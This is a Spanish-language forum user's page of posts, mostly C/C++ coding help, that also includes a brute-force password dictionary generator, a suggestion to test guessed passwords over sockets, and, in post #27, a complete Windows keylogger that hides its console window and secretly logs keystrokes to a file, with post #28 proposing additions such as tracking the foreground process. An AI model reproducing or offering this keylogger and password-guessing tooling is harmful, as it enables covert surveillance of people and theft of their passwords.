Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fantasma306

#21
Cita de: XxX--Underwar--xXx en 14 Junio 2011, 05:05 AM
mejore el codigo un monton, ya que el primero que presente fue muy largo he ineficiente, este codigo genera contaseñas que tengan a,b,c, como ya tengo tiempillo libre seguire haciendo lo demas que es sacarlo a un fichero, mirenlon.

#include <stdio.h>
#define Let_A 97
#define Let_B 98
#define Let_C 99
void letras( int i , int j , int k );

int main(){   
    for(int i = 1 ; i <= 3 ; i++ )
            for(int j = 1 ; j <= 3 ; j++ )
                    for(int k = 1 ; k <= 3 ; k++ )
                            letras(i,j,k);
                            //printf("%d%d%d \n",i,j,k);
    printf("Pausa...");
    getchar();
    return 0;   
}
void letras( int i , int j , int k ){     
     printf("%c%c%c \n", i==1 ? Let_A : i==2 ? Let_B : Let_C,
                         j==1 ? Let_A : j==2 ? Let_B : Let_C,
                         k==1 ? Let_A : k==2 ? Let_B : Let_C
                         );         
}


Esta corto y bastante entendible diría yo, espero que lo analicen y opinen


pero ese codigo solo sirve para palabras de 3 letras, si se quiere mas letras hay que modificar mucho el codigo, añadir bucles etc..., el codigo que propuse mas arriba,
con tan solo modificar esta linea
Código (cpp) [Seleccionar]
int numLetrasPass=3;
es suficiente, incluso se puede pedir al usuario el numero de letras que quiere, para no estar compilando el codigo todo el tiempo,

si no entienden muy bien como funciona el codigo os lo puedo explicar.


Para la inyeccion:
Corríjanme si me equivoco!, pero no seria mas facil programar socket's para enviar paquetes con las contraseñas, y escuchar las paquetes recibidos, para saber si la contraseña es valida.??

#22
22:00 ( España ) = 16:00 ( Colombia )  :P
#23

conforme tu lo has puesto, esas funciones estan devolviendo la direccion de TMP (con el &), lo que pasa que TMP a sido destruido... que hay en esas direcciones?? (basura)

si quitas el "&" (que has puesto en el tipo de retorno) estaras devolviendo la copia del objeto a otro objeto temporal sin nombre como dice en la pagina.


(algo que seguro que no necesitas que te lo diga, seguro que ya lo sabes)
es lo mismo que pasa con los parametros por referencia y los parametros por valor
si pones el "&" estaras pasando la direccion de la variable... y si no pones el & se creara una copia temporal de la variable
#24
hola Meylar

bueno tu codigo tiene unas cuantas cosas mal o a lo mejor en dev c++ se programa diferente  :rolleyes:

te cuento:
(esto puede que se te haya escapado)
scanf("%s",nom);
scanf("%s", &nom);


tienes un error de logica
while((tip!=1) || (tip!=2))
while((tip!=1) &&  (tip!=2))

otra cosa, nom es un char por lo tanto tienes que poner %c en lugar de %s
printf("El empleado: %s tiene:", nom);
printf("El empleado: %c tiene:", nom);

PD: no se si te funcionan los scanf con %f para los float, a mi no me los cogia, y lo cambie por double, y el scanf en lugar de %f puse %lf.  ;)

suerte
#25
el fallo esta en lo que devuelven estas dos funciones...
Citar
        clstest &operator +( clstest &c1 ) {
            clstest tmp;
            int i = c1;
            tmp = (this->sMsg + i);
            return tmp;
        }
        clstest &operator +( int c1 ) {
            clstest tmp ;
            int a = (this->sMsg + c1);
            tmp = a;
            return tmp;
        }

el objeto tmp desaparece al terminar la funcion, lo que tienes que devoler es una copia del objeto, y no la referencia a ese objeto ( ya que no existe )

saludos

#26
Hola, me alegra ver que esto siguen en pie jajaja

weno como ya comente a WiseHidden este es mi pequeño codigo para generar diccionarios con palabras de tamaño variado.

Código (cpp) [Seleccionar]

/** by fantasma306 **/
#include <fstream>
#include <string>
#include <math.h>
using namespace std;
void genDico(ostream& archivo,const char *cadena, double lengthCadena, double maxLetras);
int main(){
/*Esto se puede cambiar*/
string chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int numLetrasPass=3;/*numero de letras que tienen las contraseñas generadas, solo modificar el numero*/

ofstream archivo("dico.txt");
genDico(archivo, chars.c_str(), chars.size(), numLetrasPass);
archivo.close();
   return 0;
}
void genDico(ostream& archivo, const char *cadena, double lengthCadena, double maxLetras){
/*18446744073709551615 es el numero maximo que se puede guardar en un "unsigned long long"*/
if(18446744073709551615>pow(lengthCadena,maxLetras)-1){
unsigned long long maxCont=pow(lengthCadena,maxLetras)-1;
for(unsigned long long cont=0;cont<=maxCont; cont++){
for(register int i=maxLetras-1; i>=1; i--) {
unsigned long long pos=cont / pow(lengthCadena,i);
if(pos>=lengthCadena)
pos=pos % int(lengthCadena);
archivo<<cadena[pos];
}
archivo<<cadena[cont % int(lengthCadena)]<<endl;
}
}
}
#27
Citarluego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

bueno eso es por que mkdir es para crear un carpeta, y no un archivo.

modifique un poco el codigo, asi es como me quedo:

#include <fstream>
#include <windows.h>
#include <string>
#include <direct.h>
using namespace std;

int main(){
FreeConsole();
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
mkdir("C:\\registro");

while(true){
Sleep(20);
ofstream log("C:\\registro\\log.txt", ios_base::app);
if(log.is_open()){
if (GetAsyncKeyState('Q')==-32767)log << "q";
if (GetAsyncKeyState('W')==-32767)log << "w";
if (GetAsyncKeyState('E')==-32767)log << "e";
if (GetAsyncKeyState('R')==-32767)log << "r";
if (GetAsyncKeyState('T')==-32767)log << "t";
if (GetAsyncKeyState('Y')==-32767)log << "y";
if (GetAsyncKeyState('U')==-32767)log << "u";
if (GetAsyncKeyState('I')==-32767)log << "i";
if (GetAsyncKeyState('O')==-32767)log << "o";
if (GetAsyncKeyState('P')==-32767)log << "p";
if (GetAsyncKeyState('A')==-32767)log << "a";
if (GetAsyncKeyState('S')==-32767)log << "s";
if (GetAsyncKeyState('D')==-32767)log << "d";
if (GetAsyncKeyState('F')==-32767)log << "f";
if (GetAsyncKeyState('G')==-32767)log << "g";
if (GetAsyncKeyState('H')==-32767)log << "h";
if (GetAsyncKeyState('J')==-32767)log << "j";
if (GetAsyncKeyState('K')==-32767)log << "k";
if (GetAsyncKeyState('L')==-32767)log << "l";
if (GetAsyncKeyState('Z')==-32767)log << "z";
if (GetAsyncKeyState('X')==-32767)log << "x";
if (GetAsyncKeyState('C')==-32767)log << "c";
if (GetAsyncKeyState('V')==-32767)log << "v";
if (GetAsyncKeyState('B')==-32767)log << "b";
if (GetAsyncKeyState('N')==-32767)log << "n";
if (GetAsyncKeyState('M')==-32767)log << "m";
if (GetAsyncKeyState('1')==-32767)log << "1";
if (GetAsyncKeyState('2')==-32767)log << "2";
if (GetAsyncKeyState('3')==-32767)log << "3";
if (GetAsyncKeyState('4')==-32767)log << "4";
if (GetAsyncKeyState('5')==-32767)log << "5";
if (GetAsyncKeyState('6')==-32767)log << "6";
if (GetAsyncKeyState('7')==-32767)log << "7";
if (GetAsyncKeyState('8')==-32767)log << "8";
if (GetAsyncKeyState('9')==-32767)log << "9";
if (GetAsyncKeyState('0')==-32767)log << "0";
if (GetAsyncKeyState(13) ==-32767)log << enter;
if (GetAsyncKeyState( 8) ==-32767)log << backspace;
if (GetAsyncKeyState( 9) ==-32767)log << tab;
if (GetAsyncKeyState(32) ==-32767)log << " ";

log.close();
}
}
return 0;
}
#28
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:

#include <cstdlib>

otra cosa, para usar los string necesitas
#include <string>

una cosa mas, no entiendo muy bien para que usar tantas variables string...
si cuando haces los if puedes hacer esto directamente:

log<<"a";

saludos


EDITO:
creo que no tienes permiso para escribir un archivo en C:, lo que puedes hacer es crear una carpeta en C: y dentro de la carpeta escribir el archivo log.
Necesitas:
#include <direct.h>
y para crear la carpeta:
mkdir("C:\\carpeta");


para el tema de poner la hora, se podria escribir la hora en el archivo cada minuto (si toca el teclado), tambien otra cosa mas interesante, es saber cual es el proceso que tiene en primer plano y escribirlo tambien en el archivo